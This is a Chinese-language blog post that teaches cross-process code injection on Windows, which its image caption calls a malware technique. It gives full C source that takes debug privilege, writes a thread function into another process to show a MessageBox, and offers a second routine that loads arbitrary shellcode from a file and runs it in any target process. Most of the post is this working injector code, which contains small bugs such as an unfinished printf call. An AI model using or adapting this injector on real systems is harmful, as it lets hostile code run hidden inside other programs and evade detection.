代码注入相对DLL注入来说更加隐蔽,但是对技术的要求要更高,个人以为代码注入最好注入稳定的Shellcode。代码注入需要用到的API有VirtualAllocEx、WriteProcessMemory、CreateRemoteThread,类似于DLL注入。通常VirtualAllocEx和WriteProcessMemory会被调用两次,分别是处理线程函数以及线程函数参数,然后通过调用CreateRemoteThread来执行代码。当如如果是注入Shellcode就只要调用一次就够了,如果是注入线程函数,需要正确的计算函数的大小,通过#pragma check_stack指令来实现(静态函数、同时关闭增量链接、Release版本)。下面的代码是一个演示弹出MessageBox的代码注入:
// CodeInjector.h
#ifndef _CODE_INJECTOR_H__
#define _CODE_INJECTOR_H__
#include <windows.h>
#define CHECK_NULL_RET(bCondition) if (!bCondition) goto Exit0
#define REMOTE_ALLOC_SIZE (1024 * 4)
#endif
// Main.cpp
// Author: 代码疯子
// Blog: http://www.programlife.net/
#include <stdio.h>
#include <string.h>
#include "CodeInjector.h"
typedef struct _INJECT_PARAM
{
CHAR szMsgTitle[64];
CHAR szMsgContent[256];
DWORD dwMessageBoxA;
} INJECT_PARAM, *PINJECT_PARAM;
#pragma check_stack(off)
static DWORD WINAPI RemoteThreadProc(LPVOID lpParameter)
{
typedef int (WINAPI *PFN_MessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
PINJECT_PARAM lpParam = (PINJECT_PARAM)lpParameter;
PFN_MessageBoxA pfnMessageBoxA = (PFN_MessageBoxA)lpParam->dwMessageBoxA;
pfnMessageBoxA(NULL, lpParam->szMsgContent, lpParam->szMsgTitle, MB_ICONWARNING);
return TRUE;
}
static void AfterRemoteThreadProc(void){ return ;}
#pragma check_stack
BOOL EnableDebugPrivilege(void)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
BOOL bRet = FALSE;
bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
CHECK_NULL_RET(bRet);
bRet = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
CHECK_NULL_RET(bRet);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bRet = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
CHECK_NULL_RET(bRet);
bRet = TRUE;
Exit0:
CloseHandle(hToken);
return bRet;
}
BOOL InjectCode(DWORD dwPid)
{
BOOL bRet = FALSE;
HANDLE hProcess = NULL;
LPVOID lpThreadProc = NULL;
DWORD dwResult = 0;
HANDLE hThread = NULL;
DWORD dwThreadProcSize = 0;
INJECT_PARAM stParam = {0};
LPVOID lpParam = NULL;
bRet = EnableDebugPrivilege();
CHECK_NULL_RET(bRet);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
CHECK_NULL_RET(bRet);
// Allocate memory for ThreadProc
lpThreadProc = VirtualAllocEx(hProcess, NULL, REMOTE_ALLOC_SIZE,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CHECK_NULL_RET(lpThreadProc);
dwThreadProcSize = (BYTE *)AfterRemoteThreadProc - (BYTE *)RemoteThreadProc;
bRet = WriteProcessMemory(hProcess, lpThreadProc, (LPVOID)RemoteThreadProc,
dwThreadProcSize, &dwResult);
CHECK_NULL_RET(bRet);
HMODULE hUser32 = LoadLibrary(TEXT("user32.dll"));
stParam.dwMessageBoxA = (DWORD)GetProcAddress(hUser32, "MessageBoxA");
strcpy(stParam.szMsgTitle, "Just a Test");
strcpy(stParam.szMsgContent, "Http://Www.ProgramLife.Net/");
// Allocate memory for parameter
lpParam = VirtualAllocEx(hProcess, NULL, sizeof(INJECT_PARAM),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CHECK_NULL_RET(lpParam);
bRet = WriteProcessMemory(hProcess, lpParam, (LPVOID)&stParam,
sizeof(stParam), &dwResult);
CHECK_NULL_RET(bRet);
hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)lpThreadProc,
lpParam,
0,
NULL);
CHECK_NULL_RET(hThread);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
Exit0:
if (NULL != lpThreadProc)
{
VirtualFreeEx(hProcess, lpThreadProc, 0, MEM_RELEASE);
}
if (NULL != lpParam)
{
VirtualFreeEx(hProcess, lpParam, 0, MEM_RELEASE);
}
CloseHandle(hProcess);
return bRet;
}
int main(int argc, char **argv)
{
if (argc != 2)
{
printf("Usage: %s PID\n",
return 1;
}
DWORD dwPid = atoi(argv[1]);
InjectCode(dwPid);
return 0;
}
![恶意软件跨进程代码注入技术 恶意软件跨进程代码注入技术](http://www.programlife.net/wp-content/uploads/2012/06/Code-Inject-MessageBox.jpg)
如果是直接注入Shellcode,只需要为Shellcode分配空间,然后调用CreateRemoteThread执行即可。
DWORD ReadShellcode(BYTE *pShellcode, CHAR *szShellcode)
{
HANDLE hFile = CreateFileA(
szShellcode,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
DWORD dwSize = GetFileSize(hFile, NULL);
DWORD dwRead = 0;
ReadFile(hFile, (LPVOID)pShellcode, dwSize, &dwRead, NULL);
CloseHandle(hFile);
return dwRead;
}
// szShellcode为Shellcode文件Path
BOOL InjectCode(DWORD dwPid, CHAR *szShellcode)
{
BOOL bRet = FALSE;
HANDLE hProcess = NULL;
LPVOID lpThreadProc = NULL;
BYTE pShellcode[SHELL_CODE_SIZE] = {0};
DWORD dwShellcodeSize = 0;
DWORD dwResult = 0;
HANDLE hThread = NULL;
bRet = EnableDebugPrivilege();
CHECK_NULL_RET(bRet);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
CHECK_NULL_RET(bRet);
lpThreadProc = VirtualAllocEx(hProcess, NULL, REMOTE_ALLOC_SIZE,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CHECK_NULL_RET(lpThreadProc);
dwShellcodeSize = ReadShellcode(pShellcode, szShellcode);
bRet = WriteProcessMemory(hProcess, lpThreadProc, (LPVOID)pShellcode,
dwShellcodeSize, &dwResult);
CHECK_NULL_RET(bRet);
hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)lpThreadProc,
NULL,
0,
NULL);
CHECK_NULL_RET(hThread);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
Exit0:
if (NULL != lpThreadProc)
{
VirtualFreeEx(hProcess, lpThreadProc, 0, MEM_RELEASE);
}
CloseHandle(hProcess);
return bRet;
}
一篇说明一些细节的文章: http://hi.baidu.com/lufa2014/blog/item/f5a249cbee31e71ebe09e685.html